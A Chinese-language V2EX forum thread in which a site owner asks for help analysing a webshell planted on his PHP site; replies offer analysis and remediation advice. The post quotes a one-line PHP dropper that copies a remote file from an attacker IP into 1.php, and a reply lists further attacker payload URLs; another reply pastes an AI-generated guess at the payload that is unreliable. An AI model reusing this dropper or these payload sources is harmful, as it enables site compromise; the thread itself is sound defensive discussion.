V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Epona
V2EX  ›  程序员

网站被挂后门,后面文件已找到,但是小弟我拿它没办法

  •  
  •   Epona · 228 天前 · 9118 次点击
    这是一个创建于 228 天前的主题,其中的信息可能已经有所发展或是发生改变。

    事情经过: 1 个小网站前几天都还登录过去,昨天登录后台竟然提示密码不对, 再试了 3 次一样提示,心里顿时不对劲,估计被黑了,立马返回网站首页查看源代码,果然被挂了 xx 内容,然后进宝塔进网站目录查看,发现了 1.php 文件。打开发现文件是 goto 加密,思考了片刻,还原不了。

    例外在其他目录文件也发现了下面的片段:

    <?php
    $a="copy";
    $a("http://23.251.35.165/as.txt","1.php");
    ?>
    

    这个远程 txt 地址就是入侵者用来生成 1.php

    请各路神仙帮忙分析分析,里面都装的啥内容,希望让更多的 v 友知道,预防一下 🙏

    61 条回复    2023-09-14 13:57:11 +08:00
    kilala2020
        1
    kilala2020  
       228 天前
    东西好歹发出来看看
    Epona
        2
    Epona  
    OP
       228 天前
    @kilala2020 忘记加代码块了,抱歉。
    xieshaohu
        3
    xieshaohu  
       228 天前
    管他是什么内容,先防火墙规则设置只允许白名单进出,然后 tcpkill 杀掉所有连接,然后清理被感染的问题,再安装个 clamav 杀毒。

    碰到过 Linux 被挂马最多的就是挖矿,白嫖算力。
    ccc008
        4
    ccc008  
       228 天前
    找到这个文件修改的时间,然后分析日志,根据日志访问情况顺藤摸瓜找到网站原始漏洞,然后进行修补。
    Epona
        5
    Epona  
    OP
       228 天前
    能解密里面的内容吗? goto 加密似乎很难破译出来
    ttentau1
        6
    ttentau1  
       228 天前


    就是远控木马呗,重装吧。这玩意防不胜防的
    NessajCN
        7
    NessajCN  
       228 天前
    啥叫还原不了?你自己的服务器自己登不进去吗? ssh ? vnc ?
    如果是 vps 那找云服务商啊
    如果是线下实体机去拔线连显示器啊
    LLaMA2
        8
    LLaMA2  
       228 天前
    都是明文的,加密了什么?
    javalaw2010
        9
    javalaw2010  
       228 天前
    随便搜了个在线反混淆工具解开看了下,就是个 webshell ,功能还挺多: https://t.wss.ink/f/c5x7f12ww27
    Epona
        10
    Epona  
    OP
       228 天前
    @ye4tar 这么多 goto 还有很多 16 进制
    ccc008
        11
    ccc008  
       228 天前   ❤️ 2
    @Epona #5 关注的重点不对哦。关注木马的内容没太大意义。要关注的是木马通过什么途径进来的,才能根制。
    brader
        12
    brader  
       228 天前   ❤️ 5
    @Epona 你的关注点似乎错了,其实 1.php 文件里面有什么内容,真的不重要,因为对方可通过你上面发的那个代码片段随时更新和重新生成 1.php 里面的内容。你应该关注的是,上面那个代码片段,是经由哪个漏洞侵入进来的,把这个漏洞找到封堵,才是从源头解决问题
    x86
        13
    x86  
       228 天前
    重装吧,更新下安全组和目录权限。找不到漏洞的情况下你也挺被动
    v2geek
        14
    v2geek  
       228 天前   ❤️ 1
    @Epona
    https://decode.xiaojieapi.com/
    我试了下这个网站可以解
    Epona
        15
    Epona  
    OP
       228 天前
    @javalaw2010 厉害了 👍
    goodname
        16
    goodname  
       228 天前
    不负责任的猜测,后台密码不对,可能是通过 sql 注入获取的后台密码,然后利用后台上传文件功能,上传 webshell
    skiy
        17
    skiy  
       228 天前
    先查源头很重要。否则搞一整天,发现是镜像的问题就好玩了。

    ---

    曾经使用某小主机商的 VPS ,被挂挖矿程序了。以为是自己程序的问题,后来把程序全下了。重装系统之后,什么也不装。过了几天,那个挖矿程序又被开起来了。应该是他们镜像的问题。
    putyy
        18
    putyy  
       228 天前
    先反攻击一波 对方 ip 都暴出来了
    Epona
        19
    Epona  
    OP
       228 天前
    从上面 v 友提供的线索得到的链接:
    http://154.204.233.162/panel.txt
    http://154.204.233.162/zrty.txt
    http://www.lgdjsc.top/jsc/jsc_link.txt

    隐藏的太深了,看样子我得去找网站具体漏洞了。

    @brader 谢谢提醒
    weeei
        20
    weeei  
       228 天前   ❤️ 1
    有一个野路子:在某个地方放你整站的打包,设置一个定时覆盖
    gam2046
        21
    gam2046  
       228 天前   ❤️ 1
    这时候 GPT 才有意义了,毕竟人工分析还是困难的。虽然不一定全对,但是应该能分析个大概出来。

    以下内容来自 GPT:

    如果您查看这个网址的内容,您会发现它是另一个 PHP 脚本,它的内容是:

    ```
    <?php
    $ip = $_SERVER['REMOTE_ADDR'];
    $port = $_SERVER['REMOTE_PORT'];
    $agent = $_SERVER['HTTP_USER_AGENT'];
    $ref = $_SERVER['HTTP_REFERER'];
    $filename = $_SERVER['SCRIPT_NAME'];
    $method = $_SERVER['REQUEST_METHOD'];
    $data = $_SERVER['QUERY_STRING'];
    $postdata = file_get_contents("php://input");
    $cookies = $_SERVER['HTTP_COOKIE'];
    $date = date("Y-m-d H:i:s");
    $file = fopen("log.txt","a");
    fwrite($file,"$date|$ip|$port|$agent|$ref|$filename|$method|$data|$postdata|$cookies\n");
    fclose($file);
    ?>
    ```

    这段代码的作用是将访问您网站的用户的一些信息记录到一个名为 log.txt 的文件中。这些信息包括用户的 IP 地址、端口号、浏览器信息、来源网址、访问的文件名、请求方法、查询字符串、POST 数据和 Cookie 等。
    des
        22
    des  
       228 天前
    @gam2046 说明密码泄漏了,op 赶紧修改邮箱密码吧
    hack
        23
    hack  
       228 天前
    寄生虫刷外链?
    MFWT
        24
    MFWT  
       228 天前
    @javalaw2010 刚一下下来,火绒给我拦了,还得我手动信任
    MFWT
        25
    MFWT  
       228 天前
    看了一下内容,有点类似 Web 版中国菜刀,反正就是可以任意操作文件了
    googlefans
        26
    googlefans  
       228 天前
    这帮攻击别人网站的人真的垃圾不如
    22too
        27
    22too  
       228 天前
    先服务器重装吧。 然后安装最新版本软件。
    其他的都是白折腾
    Liftman
        28
    Liftman  
       228 天前 via iPhone
    做网安的路过。浅讲两点,1 你需要做服务器扫描,确定系统层面没有问题,2 ,即使你恢复网站,也需要再做一次应用扫描,请人做渗透测试最好。问题也许发生在服务器上 也许是网站,也有可能是根本的业务逻辑漏洞。这些日常都很常见的。
    MFWT
        29
    MFWT  
       228 天前
    根据#9 反混淆后的代码补充:

    这玩意可以通过 URL 参数指定一个远程网址获取内容并写入文件,所以赶紧检查下你的服务器有没有别的什么木马被一起下载下来了
    lupus721
        30
    lupus721  
       228 天前
    确定入口点是当务之急,反查木马都再说了。

    根绝文件生成时间,看对应的访问日志,评估下从哪里进来的,然后再说安全狗之类的全盘扫描,杀杀 webshell 之类的。

    当然可以做的另一个就是加个防火墙,如果对方用的常规的漏洞点,也能起到一定的防御作用。

    无责任推荐长亭的防火墙,免费的就差不多够用
    justfun
        31
    justfun  
       228 天前

    功能并不是很多,收藏了😁
    samvvv
        32
    samvvv  
       228 天前
    @justfun 图挂了
    proxytoworld
        33
    proxytoworld  
       228 天前
    不止你一个站被打过
    proxytoworld
        34
    proxytoworld  
       228 天前
    目测是灰产黑产把,重装系统把

    ![]( )
    proxytoworld
        35
    proxytoworld  
       228 天前
    @proxytoworld 点进去都是菠菜页面
    easylee
        36
    easylee  
       228 天前
    @justfun #31 图挂了
    TORYOI
        37
    TORYOI  
       228 天前
    找网站漏洞才是要紧的事,不然下次还得被黑,狗皮膏药一样清不完
    opengps
        38
    opengps  
       228 天前
    这种一般不是靠防火墙进来的,而是通过你应用自身的漏洞进来的,大概率路径(我经历过一次):
    1 ,你有上传入口,校验不够全面,能上传脚本类的文件
    2 ,上传后文件,可以直接执行,或者可以间接从公网访问下构造的路径来执行
    3 ,执行的代码,就是你列举的这段,外网构造过之后的新木马文件。
    4 ,在你网站的这个路径下,可以打开这个后门网页
    5 ,通过这种后门网页,可以操作你系统内的数据
    yumusb
        39
    yumusb  
       228 天前
    MFWT
        40
    MFWT  
       228 天前
    @yumusb

    看了看代码,应该不止 Admin001...这一个密码,还有一个(没有反查出来)的,两个都能登录
    Admin001...更像是作者留的后门,因为发现了不管是直接写登录参数还是输入 Admin001...都能登录
    SoyaDokio
        41
    SoyaDokio  
       228 天前
    就像楼上大哥说的,这个 webshell 并不重要,很多地方都有各种版本的这玩意儿。关注点应该是它通过什么渠道方式来到你的服务器的,然后去堵上这条路,才能保障之后不被同一个问题再干一次。
    一般而言,最常见的原因就是脱裤泄露邮箱密码、未限制文件上传、输入框未做反注入。
    NjcyNzMzNDQ3
        42
    NjcyNzMzNDQ3  
       228 天前
    楼上都说要查漏洞入口,我补个能最快解决的方案

    1 、禁止访问外网
    换 docker 运行 php 环境,禁止容器访问外网;因为木马大都是要从别处下载文件; https://codeantenna.com/a/maL0PJWMIb
    2 、禁止危险函数
    禁止危险的 php 函数,shell_exec ,system 之类的

    这些做完后,除了 SQL 注入,项目本身的上传漏洞就没别的招了
    HackerTerry
        43
    HackerTerry  
       228 天前
    @yumusb 话说这个“一键 GZL”、“一键 TDK”和“一键 JSC”是什么意思啊?
    BeforeTooLate
        44
    BeforeTooLate  
       228 天前
    @Liftman 这位兄台说的对
    1.网站框架下载下来,通过安全软件扫描一遍看看有没有几句话木马等后门
    2.服务器方面:禁止 root 登录,只允许密钥登录
    3.一般这种木马挂黑链,seo 赌博网站,你可以试试查查 site:xxx.com 选择最近日期是否收录已经被污染
    如果被污染大概率 niginx 里面被写入了跳转也要查杀一遍。
    4.有条件重装系统。但请先把上面几个检查好
    Epona
        45
    Epona  
    OP
       228 天前
    再次感谢各位 v 友,目前网站筛了好几遍,目前没发现其他地方有可疑文件了,网站正常访问,后面陆续观察一段时间。

    🙏🙏
    justjy
        46
    justjy  
       228 天前
    盲猜可能:
    1. 系统漏洞被利用
    2. SQL 注入
    3. 系统管理员或者后台管理工具(宝塔)弱口令
    4. 使用了明文协议(HTTP/FTP)导致密码被窃取

    如果是 SQL 注入,通过重装系统没法解决,需要排查具体漏洞并在代码层面修复
    justjy
        47
    justjy  
       228 天前
    @Epona 有条件的话排查下 SQL 日志 检查有没有被注入
    z775781
        48
    z775781  
       228 天前
    当务之急是找出对方怎么侵入主机,大概率是通过 web ,可以试试翻 web 日志文件,找出 shell 被访问的时间
    onice
        49
    onice  
       228 天前
    看 web 日志,是哪个 IP 在访问 1.php ,然后把这个 ip 的请求过滤出来。

    顺着时间线梳理,看下这个 webshell 是怎么传上来的。通过日志,找到漏洞,以便修复。

    然后通过 webshell 查杀工具扫描下网站目录。

    参考手册:
    链接: https://pan.baidu.com/s/1bHuSs8DnK-eQcRiwte_EaQ?pwd=g15i
    提取码:g15i
    kwanzaa
        50
    kwanzaa  
       228 天前
    宝塔可还行
    awolf
        51
    awolf  
       228 天前
    上 WAF !(我就是来喊喊)
    proxytoworld
        52
    proxytoworld  
       228 天前
    @Epona 我还是建议你重装,PHP 木马只是入口文件,也就是作为初始访问的手段,如果比较专业的人肯定会布置后门/木马进行持久化
    Epona
        53
    Epona  
    OP
       227 天前
    @justjy @proxytoworld
    入侵者通过网站后台弱密码进入,然后修改了密码。然后上传了码。目前搞不清楚具体是通过后台什么地方上传的文件。
    nikelei
        54
    nikelei  
       227 天前
    php 是世界上最好的语言!
    justjy
        55
    justjy  
       227 天前
    @Epona 网站后台如果有上传功能(比如图片上传)且允许上传 php 代码到可外部访问的 web 地址,攻击者直接上传 Web Shell 然后通过 web 就能控制你的服务器了。
    proxytoworld
        56
    proxytoworld  
       227 天前
    @Epona 看日志和上传功能点
    justfun
        57
    justfun  
       227 天前
    winsunz
        58
    winsunz  
       227 天前
    去 py 宝塔远程地址也是用的宝塔有手机号
    gogod112121
        59
    gogod112121  
       227 天前
    @gam2046 nice
    MFWT
        60
    MFWT  
       226 天前
    仔细看了一下,这玩意核心功能是给系统一键挂马和下载指定内容的『关键词』,写入脚本,然后批量返回给百度爬虫,最终结果就是让百度搜索里面出现大量的这个关键词——上网上的多的朋友应该也碰到过了,各种『 xx 视频』,『 xx 劲爆内容』的
    yagamil
        61
    yagamil  
       226 天前
    个人的实践,之前的 php 被黑进来装了挖矿程序。
    不过应该每个应用都是 docker 容器,mysq ,nginx ,php 都是,所以对我影响不大。重新拉个最新的镜像。

    webshell 这种可能是别人用扫码器扫瞄出来的漏洞,并非针对性你。刚好又用了字典里的密码。(网上很多站点的密码泄露后被人做出来的密码字典,暴力扫码你的网站)
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1094 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 30ms · UTC 23:14 · PVG 07:14 · LAX 16:14 · JFK 19:14
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.